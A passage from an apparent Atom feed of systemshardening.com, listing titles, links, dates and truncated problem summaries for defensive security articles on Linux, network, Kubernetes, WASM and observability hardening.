    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Capability Hardening: Dropping Privileges from Daemons and Services
Problem
Historically, root was binary: you either had all privileges or none. Linux capabilities split root into 38 discrete...</summary>
  </entry>
  
  <entry>
    <title>Linux IMA/EVM: Kernel-Level File Integrity Measurement and Appraisal</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-ima-evm/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-ima-evm/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux IMA/EVM: Kernel-Level File Integrity Measurement and Appraisal
Problem
dm-verity provides block-level integrity for read-only partitions — excellent for immutable root filesystems but...</summary>
  </entry>
  
  <entry>
    <title>USBGuard: USB Device Authorization on Production Linux Hosts</title>
    <link href="https://www.systemshardening.com/articles/linux/usbguard/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/usbguard/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>USBGuard: USB Device Authorization on Production Linux Hosts
Problem
Most production Linux hosts default-trust every USB device. The kernel sees a new device, asks the bus to enumerate it, then loads...</summary>
  </entry>
  
  <entry>
    <title>BGP Security and RPKI: Route Origin Validation for Production Networks</title>
    <link href="https://www.systemshardening.com/articles/network/bgp-security-rpki/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/bgp-security-rpki/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>BGP Security and RPKI: Route Origin Validation for Production Networks
Problem
BGP (Border Gateway Protocol) is the routing protocol of the internet. It allows autonomous systems (ASes) — networks...</summary>
  </entry>
  
  <entry>
    <title>Envoy Proxy Security Hardening: Filter Chains, ext_authz, and Access Log Integrity</title>
    <link href="https://www.systemshardening.com/articles/network/envoy-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/envoy-security-hardening/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Envoy Proxy Security Hardening: Filter Chains, ext_authz, and Access Log Integrity
Problem
Envoy Proxy is the data-plane component behind Istio, Contour, Gloo Edge, and numerous custom deployments. It...</summary>
  </entry>
  
  <entry>
    <title>HAProxy Production Hardening: Beyond TLS, Request Filtering, ACLs, and Logging Hygiene</title>
    <link href="https://www.systemshardening.com/articles/network/haproxy-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/haproxy-hardening/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>HAProxy Production Hardening: Beyond TLS, Request Filtering, ACLs, and Logging Hygiene
Problem
HAProxy is the workhorse load balancer for many large internet properties — Stack Overflow, Reddit,...</summary>
  </entry>
  
  <entry>
    <title>Service Mesh Egress Gateway Patterns: Bounded Outbound Traffic in Istio Clusters</title>
    <link href="https://www.systemshardening.com/articles/network/istio-egress-gateway/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/istio-egress-gateway/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Service Mesh Egress Gateway Patterns: Bounded Outbound Traffic in Istio Clusters
Problem
Outbound traffic from a Kubernetes cluster is a tangled topic. By default Istio’s sidecar proxies forward...</summary>
  </entry>
  
  <entry>
    <title>WireGuard Mesh for Internal Zero-Trust Networking: wg-quick, Tailscale, Netbird Compared</title>
    <link href="https://www.systemshardening.com/articles/network/wireguard-mesh/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/wireguard-mesh/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>WireGuard Mesh for Internal Zero-Trust Networking: wg-quick, Tailscale, Netbird Compared
Problem
Internal networks at small-to-medium organizations have a recurring shape: a few cloud VPCs, a few...</summary>
  </entry>
  
  <entry>
    <title>Alert Deduplication and Correlation Patterns: Beating Alert Fatigue at Scale</title>
    <link href="https://www.systemshardening.com/articles/observability/alert-correlation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/alert-correlation/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Alert Deduplication and Correlation Patterns: Beating Alert Fatigue at Scale
Problem
A medium-sized organization’s SOC ingests 5,000-50,000 alerts per day across SIEM, EDR, IDS, cloud-provider...</summary>
  </entry>
  
  <entry>
    <title>Forensic Readiness: Log Retention, Capture, and Chain of Custody for Incident Response</title>
    <link href="https://www.systemshardening.com/articles/observability/forensic-readiness/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/forensic-readiness/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Forensic Readiness: Log Retention, Capture, and Chain of Custody for Incident Response
Problem
When an incident happens, the question isn’t “what’s our SIEM doing right now?” It’s “what data do we...</summary>
  </entry>
  
  <entry>
    <title>Honeypot and Deception Technology in Kubernetes: Canary Tokens, Fake Credentials, and Honeypod Pods</title>
    <link href="https://www.systemshardening.com/articles/observability/honeypot-deception-kubernetes/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/honeypot-deception-kubernetes/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Honeypot and Deception Technology in Kubernetes: Canary Tokens, Fake Credentials, and Honeypod Pods
Problem
Detection-based security controls assume the attacker leaves a known signature: a known CVE,...</summary>
  </entry>
  
  <entry>
    <title>Security SLOs and Error Budgets: SRE Discipline Applied to Detection and Response</title>
    <link href="https://www.systemshardening.com/articles/observability/security-slos/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/security-slos/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Security SLOs and Error Budgets: SRE Discipline Applied to Detection and Response
Problem
Engineering organizations adopted SRE-style SLOs (service-level objectives) and error budgets a decade ago....</summary>
  </entry>
  
  <entry>
    <title>Threat Hunting with Osquery: Fleet Queries, Detection Packs, and IOC Sweeps</title>
    <link href="https://www.systemshardening.com/articles/observability/threat-hunting-osquery/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/threat-hunting-osquery/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Threat Hunting with Osquery: Fleet Queries, Detection Packs, and IOC Sweeps
Problem
Most detection controls are reactive: a SIEM correlates events after they arrive; Falco fires on syscall patterns as...</summary>
  </entry>
  
  <entry>
    <title>Spin Framework Security: Component Isolation, Triggers, and Secret Management</title>
    <link href="https://www.systemshardening.com/articles/wasm/spin-framework-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/spin-framework-security/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Spin Framework Security: Component Isolation, Triggers, and Secret Management
Problem
Fermyon Spin is a serverless framework for WebAssembly components. A Spin application is a collection of WASM...</summary>
  </entry>
  
  <entry>
    <title>WASM Cold-Start Optimization for Security Workloads: Pre-Compilation, Snapshots, and AOT</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-cold-start/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-cold-start/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Cold-Start Optimization for Security Workloads: Pre-Compilation, Snapshots, and AOT
Problem
Security-relevant WASM workloads run on the request hot path: auth filters, policy decisions, content...</summary>
  </entry>
  
  <entry>
    <title>WASM in IoT and Embedded Production: wasmEdge, wasm3, WAMR, and OTA Update Security</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-iot-embedded/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-iot-embedded/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM in IoT and Embedded Production: wasmEdge, wasm3, WAMR, and OTA Update Security
Problem
Edge and IoT deployments — industrial gateways, vehicle ECUs, smart appliances, building-automation...</summary>
  </entry>
  
  <entry>
    <title>WASM Plugin Architecture Threat Modeling: Trust Boundaries, Host-API Exposure, and Supply Chain</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-plugin-threat-modeling/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-plugin-threat-modeling/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Plugin Architecture Threat Modeling: Trust Boundaries, Host-API Exposure, and Supply Chain
Problem
WASM is the lingua franca for plugin systems in 2026: Envoy plugins, NGINX filters, Postgres...</summary>
  </entry>
  
  <entry>
    <title>WASM Threads and Shared Memory Security: SharedArrayBuffer, Atomics, and Spectre Mitigations</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-threads-shared-memory/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-threads-shared-memory/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Threads and Shared Memory Security: SharedArrayBuffer, Atomics, and Spectre Mitigations
Problem
WebAssembly’s threading proposal — standardized in 2022 and now widely supported across Wasmtime,...</summary>
  </entry>
  
  <entry>
    <title>C2PA Content Credentials: Cryptographic Provenance for AI-Generated Media in Production</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/c2pa-content-credentials/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/c2pa-content-credentials/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>C2PA Content Credentials: Cryptographic Provenance for AI-Generated Media in Production
Problem
Generative models produce images, video, and audio that pass as authentic camera output. The...</summary>
  </entry>
  
  <entry>
    <title>MCP Authentication Patterns: OAuth 2.1, Capability Tokens, and Per-Tool Authorization</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/mcp-authentication/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/mcp-authentication/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>MCP Authentication Patterns: OAuth 2.1, Capability Tokens, and Per-Tool Authorization
Problem
Model Context Protocol (MCP) servers expose tools, resources, and prompts to LLM clients. An agent backed...</summary>
  </entry>
  
  <entry>
    <title>Prompt Cache Security: Side-Channels, Poisoning, and Tenant Isolation in LLM Provider Caches</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/prompt-cache-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/prompt-cache-security/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Prompt Cache Security: Side-Channels, Poisoning, and Tenant Isolation in LLM Provider Caches
Problem
Major LLM providers introduced prompt caching in 2024-2025. Anthropic’s prompt caching (GA in...</summary>
  </entry>
  
  <entry>
    <title>Ephemeral CI Runners with Firecracker and Kata: VM-Level Isolation for Build Jobs</title>
    <link href="https://www.systemshardening.com/articles/cicd/firecracker-kata-ci-runners/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/firecracker-kata-ci-runners/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Ephemeral CI Runners with Firecracker and Kata: VM-Level Isolation for Build Jobs
Problem
Self-hosted CI runners are typically Linux containers (GitHub Actions Runner Controller, GitLab Runner with...</summary>
  </entry>
  
  <entry>
    <title>OIDC Federation Hardening: Locking Down CI-to-Cloud Trust Policies</title>
    <link href="https://www.systemshardening.com/articles/cicd/oidc-federation-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/oidc-federation-hardening/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>OIDC Federation Hardening: Locking Down CI-to-Cloud Trust Policies
Problem
OIDC federation between CI providers (GitHub Actions, GitLab, CircleCI, Buildkite) and cloud providers (AWS, GCP, Azure)...</summary>
  </entry>
  
  <entry>
    <title>Branch Protection and Repository Policy as Code: Terraform GitHub for Hundreds of Repos</title>
    <link href="https://www.systemshardening.com/articles/cicd/repo-policy-as-code/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/repo-policy-as-code/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Branch Protection and Repository Policy as Code: Terraform GitHub for Hundreds of Repos
Problem
Branch protection — required reviewers, status checks, push restrictions, signed commits — is the gate...</summary>
  </entry>
  
  <entry>
    <title>Secrets Rotation Orchestration: Coordinating Vault, KMS, OIDC, and Database Credentials</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/secrets-rotation-orchestration/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/secrets-rotation-orchestration/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Secrets Rotation Orchestration: Coordinating Vault, KMS, OIDC, and Database Credentials
Problem
Rotation is the operation that matters most for credential security and most likely to cause an outage....</summary>
  </entry>
  
  <entry>
    <title>SPIFFE and SPIRE for Workload Identity Across Clusters and Clouds</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/spiffe-spire-workload-identity/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/spiffe-spire-workload-identity/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>SPIFFE and SPIRE for Workload Identity Across Clusters and Clouds
Problem
Workloads need to authenticate to other workloads. The dominant patterns each have a structural problem:

Shared API keys /...</summary>
  </entry>
  
  <entry>
    <title>Threat Modeling at Scale: STRIDE-per-Component, PASTA, and Continuous Threat Modeling</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/threat-modeling-at-scale/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/threat-modeling-at-scale/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Threat Modeling at Scale: STRIDE-per-Component, PASTA, and Continuous Threat Modeling
Problem
Threat modeling has been an industry-standard practice for two decades. Yet at most engineering...</summary>
  </entry>
  
  <entry>
    <title>Confidential Containers on Kubernetes: AMD SEV-SNP, Intel TDX, and the Attestation Flow</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/confidential-containers/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/confidential-containers/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Confidential Containers on Kubernetes: AMD SEV-SNP, Intel TDX, and the Attestation Flow
Problem
Standard container isolation depends on the host kernel. seccomp, AppArmor, capabilities, user...</summary>
  </entry>
  
  <entry>
    <title>User Namespaces for Pods: UID Remapping, Container Escape Defense, and the GA Path in Kubernetes 1.30+</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/user-namespaces-pods/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/user-namespaces-pods/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>User Namespaces for Pods: UID Remapping, Container Escape Defense, and the GA Path in Kubernetes 1.30+
Problem
Container security has long had an awkward asymmetry. A Pod’s container that runs as root...</summary>
  </entry>
  
  <entry>
    <title>ValidatingAdmissionPolicy with CEL: Native Kubernetes Admission Without Webhooks</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/validating-admission-policy-cel/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/validating-admission-policy-cel/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>ValidatingAdmissionPolicy with CEL: Native Kubernetes Admission Without Webhooks
Problem
Webhook-based admission control (Kyverno, Gatekeeper, OPA, custom webhooks) has been the dominant pattern for...</summary>
  </entry>
  
  <entry>
    <title>FIDO2 SSH with sk-* Keys: Hardware-Backed Authentication for Production Hosts</title>
    <link href="https://www.systemshardening.com/articles/linux/fido2-ssh/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/fido2-ssh/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>FIDO2 SSH with sk-* Keys: Hardware-Backed Authentication for Production Hosts
Problem
Standard SSH keys live on disk. The private key is a file: ~/.ssh/id_ed25519. Anything that can read that file (a...</summary>
  </entry>
  
  <entry>
    <title>Kernel Lockdown Mode: Blocking Root from Modifying the Running Kernel</title>
    <link href="https://www.systemshardening.com/articles/linux/kernel-lockdown/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/kernel-lockdown/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Kernel Lockdown Mode: Blocking Root from Modifying the Running Kernel
Problem
Root traditionally has unrestricted access to the running kernel: load and unload modules, write to /dev/mem and...</summary>
  </entry>
  
  <entry>
    <title>Landlock LSM: Unprivileged Kernel Sandboxing for Production Linux Applications</title>
    <link href="https://www.systemshardening.com/articles/linux/landlock-lsm/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/landlock-lsm/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Landlock LSM: Unprivileged Kernel Sandboxing for Production Linux Applications
Problem
Linux has had application sandboxing for two decades. Every existing option requires either privilege or...</summary>
  </entry>
  
  <entry>
    <title>eBPF-XDP for L4 DDoS Mitigation: Line-Rate Drop in the Kernel</title>
    <link href="https://www.systemshardening.com/articles/network/ebpf-xdp-ddos/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ebpf-xdp-ddos/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>eBPF-XDP for L4 DDoS Mitigation: Line-Rate Drop in the Kernel
Problem
Layer-4 floods (SYN flood, UDP amplification, raw packet floods at &amp;gt;1 Mpps) overwhelm a server long before the application gets...</summary>
  </entry>
  
  <entry>
    <title>Encrypted Client Hello (ECH) Deployment on NGINX, Cloudflare, and Internal Edges</title>
    <link href="https://www.systemshardening.com/articles/network/encrypted-client-hello/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/encrypted-client-hello/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Encrypted Client Hello (ECH) Deployment on NGINX, Cloudflare, and Internal Edges
Problem
TLS 1.3 encrypts everything in the handshake except one critical field: the Server Name Indication (SNI). The...</summary>
  </entry>
  
  <entry>
    <title>HTTP/2 RST and CONTINUATION Flood Mitigation: CVE-2023-44487, CVE-2024-27316, and Beyond</title>
    <link href="https://www.systemshardening.com/articles/network/http2-flood-mitigation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/http2-flood-mitigation/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>HTTP/2 RST and CONTINUATION Flood Mitigation: CVE-2023-44487, CVE-2024-27316, and Beyond
Problem
HTTP/2 multiplexes many streams over a single TCP connection. The protocol’s design — streams created...</summary>
  </entry>
  
  <entry>
    <title>Detection Engineering Metrics: MTTD, MTTR, Signal-to-Noise, and Coverage Tracking</title>
    <link href="https://www.systemshardening.com/articles/observability/detection-engineering-metrics/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/detection-engineering-metrics/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detection Engineering Metrics: MTTD, MTTR, Signal-to-Noise, and Coverage Tracking
Problem
Detection programs accumulate rules over time. A team starts with a handful of carefully-crafted detections;...</summary>
  </entry>
  
  <entry>
    <title>OpenTelemetry PII Leakage: Stopping Sensitive Data in Span Attributes, Baggage, and Logs</title>
    <link href="https://www.systemshardening.com/articles/observability/otel-pii-leakage/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/otel-pii-leakage/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>OpenTelemetry PII Leakage: Stopping Sensitive Data in Span Attributes, Baggage, and Logs
Problem
OpenTelemetry instrumentation, when applied with the default auto-instrumentation libraries, produces...</summary>
  </entry>
  
  <entry>
    <title>SIEM Cost Optimization: Cardinality, Retention, Sampling, and Index-Tier Strategy</title>
    <link href="https://www.systemshardening.com/articles/observability/siem-cost-optimization/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/siem-cost-optimization/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>SIEM Cost Optimization: Cardinality, Retention, Sampling, and Index-Tier Strategy
Problem
SIEM bills follow a predictable trajectory: a vendor-pitched price quote at signing; a 2x increase the...</summary>
  </entry>
  
  <entry>
    <title>Edge Runtime WASM Hardening: Cloudflare Workers, Fastly Compute, and Multi-Tenant Isolation</title>
    <link href="https://www.systemshardening.com/articles/wasm/edge-wasm-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/edge-wasm-hardening/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Edge Runtime WASM Hardening: Cloudflare Workers, Fastly Compute, and Multi-Tenant Isolation
Problem
Edge runtimes (Cloudflare Workers, Fastly Compute@Edge, Deno Deploy, Wasmer Edge, Vercel Edge...</summary>
  </entry>
  
  <entry>
    <title>Envoy and Istio WASM Plugin Hardening: Resource Limits, ABI Selection, and Distribution</title>
    <link href="https://www.systemshardening.com/articles/wasm/envoy-wasm-plugin-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/envoy-wasm-plugin-hardening/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Envoy and Istio WASM Plugin Hardening: Resource Limits, ABI Selection, and Distribution
Problem
Envoy’s WASM extension model lets operators inject custom logic into the request path: header rewriting,...</summary>
  </entry>
  
  <entry>
    <title>NGINX WASM Filters with ngx_wasm_module: Request-Path Plugins, Resource Caps, and Distribution</title>
    <link href="https://www.systemshardening.com/articles/wasm/nginx-wasm-filters/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/nginx-wasm-filters/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>NGINX WASM Filters with ngx_wasm_module: Request-Path Plugins, Resource Caps, and Distribution
Problem
NGINX has had ngx_http_lua_module and njs for years; both let operators inject custom logic into...</summary>
  </entry>
  
  <entry>
    <title>Reproducible WASM Builds and SBOM Generation: Deterministic Compilation, CycloneDX, In-Toto Attestations</title>
    <link href="https://www.systemshardening.com/articles/wasm/reproducible-wasm-builds/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/reproducible-wasm-builds/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Reproducible WASM Builds and SBOM Generation: Deterministic Compilation, CycloneDX, In-Toto Attestations
Problem
Reproducible builds — the property that the same source produces the same binary...</summary>
  </entry>
  
  <entry>
    <title>WASI HTTP Server Hardening: Production Patterns for wasi:http/incoming-handler</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasi-http-server-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasi-http-server-hardening/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASI HTTP Server Hardening: Production Patterns for wasi:http/incoming-handler
Problem
wasi:http/incoming-handler is the WASI Preview 2 interface for serving HTTP. A component implements...</summary>
  </entry>
  
  <entry>
    <title>WASI Preview 2 Capability-Based Security: filesystem, sockets, http, and the Component Model</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasi-preview-2-capabilities/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasi-preview-2-capabilities/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASI Preview 2 Capability-Based Security: filesystem, sockets, http, and the Component Model
Problem
WASI Preview 1 (the original system interface from 2019) modeled the world as a small flat...</summary>
  </entry>
  
  <entry>
    <title>WASI Sockets API Hardening: TCP, UDP, and TLS Capability Scoping for Network-Bound WASM</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasi-sockets-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasi-sockets-hardening/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASI Sockets API Hardening: TCP, UDP, and TLS Capability Scoping for Network-Bound WASM
Problem
WASI Preview 2 introduced wasi:sockets/tcp and wasi:sockets/udp — interfaces that let WASM modules...</summary>
  </entry>
  
  <entry>
    <title>WASM AI Inference: Isolating ONNX Runtime Web, llama.cpp WASM, and On-Device Models</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-ai-inference/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-ai-inference/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM AI Inference: Isolating ONNX Runtime Web, llama.cpp WASM, and On-Device Models
Problem
AI inference has historically run on GPUs in dedicated services. By 2026, a parallel pattern has emerged:...</summary>
  </entry>
  
  <entry>
    <title>WASM Component Model Security Boundaries: Composition, Capability Passing, and Trust Decisions</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-component-model-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-component-model-security/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Component Model Security Boundaries: Composition, Capability Passing, and Trust Decisions
Problem
The component model turns WebAssembly into a composition primitive. A component is a...</summary>
  </entry>
  
  <entry>
    <title>WASM in Databases: pg_wasm, ClickHouse UDFs, SurrealDB Extensions</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-in-databases/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-in-databases/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM in Databases: pg_wasm, ClickHouse UDFs, SurrealDB Extensions
Problem
Databases run user-supplied logic. Postgres has stored procedures (PL/pgSQL, PL/Python, PL/Perl, PL/Rust). ClickHouse has...</summary>
  </entry>
  
  <entry>
    <title>WASM Multi-Tenancy Patterns: Resource Quotas, Fair Scheduling, and Tenant Isolation Failures</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-multi-tenancy/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-multi-tenancy/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Multi-Tenancy Patterns: Resource Quotas, Fair Scheduling, and Tenant Isolation Failures
Problem
Running multiple tenants’ WASM workloads in a single runtime instance is the hard case for WASM...</summary>
  </entry>
  
  <entry>
    <title>OCI WASM Module Signing and Verification: cosign, notation, and Admission-Time Enforcement</title>
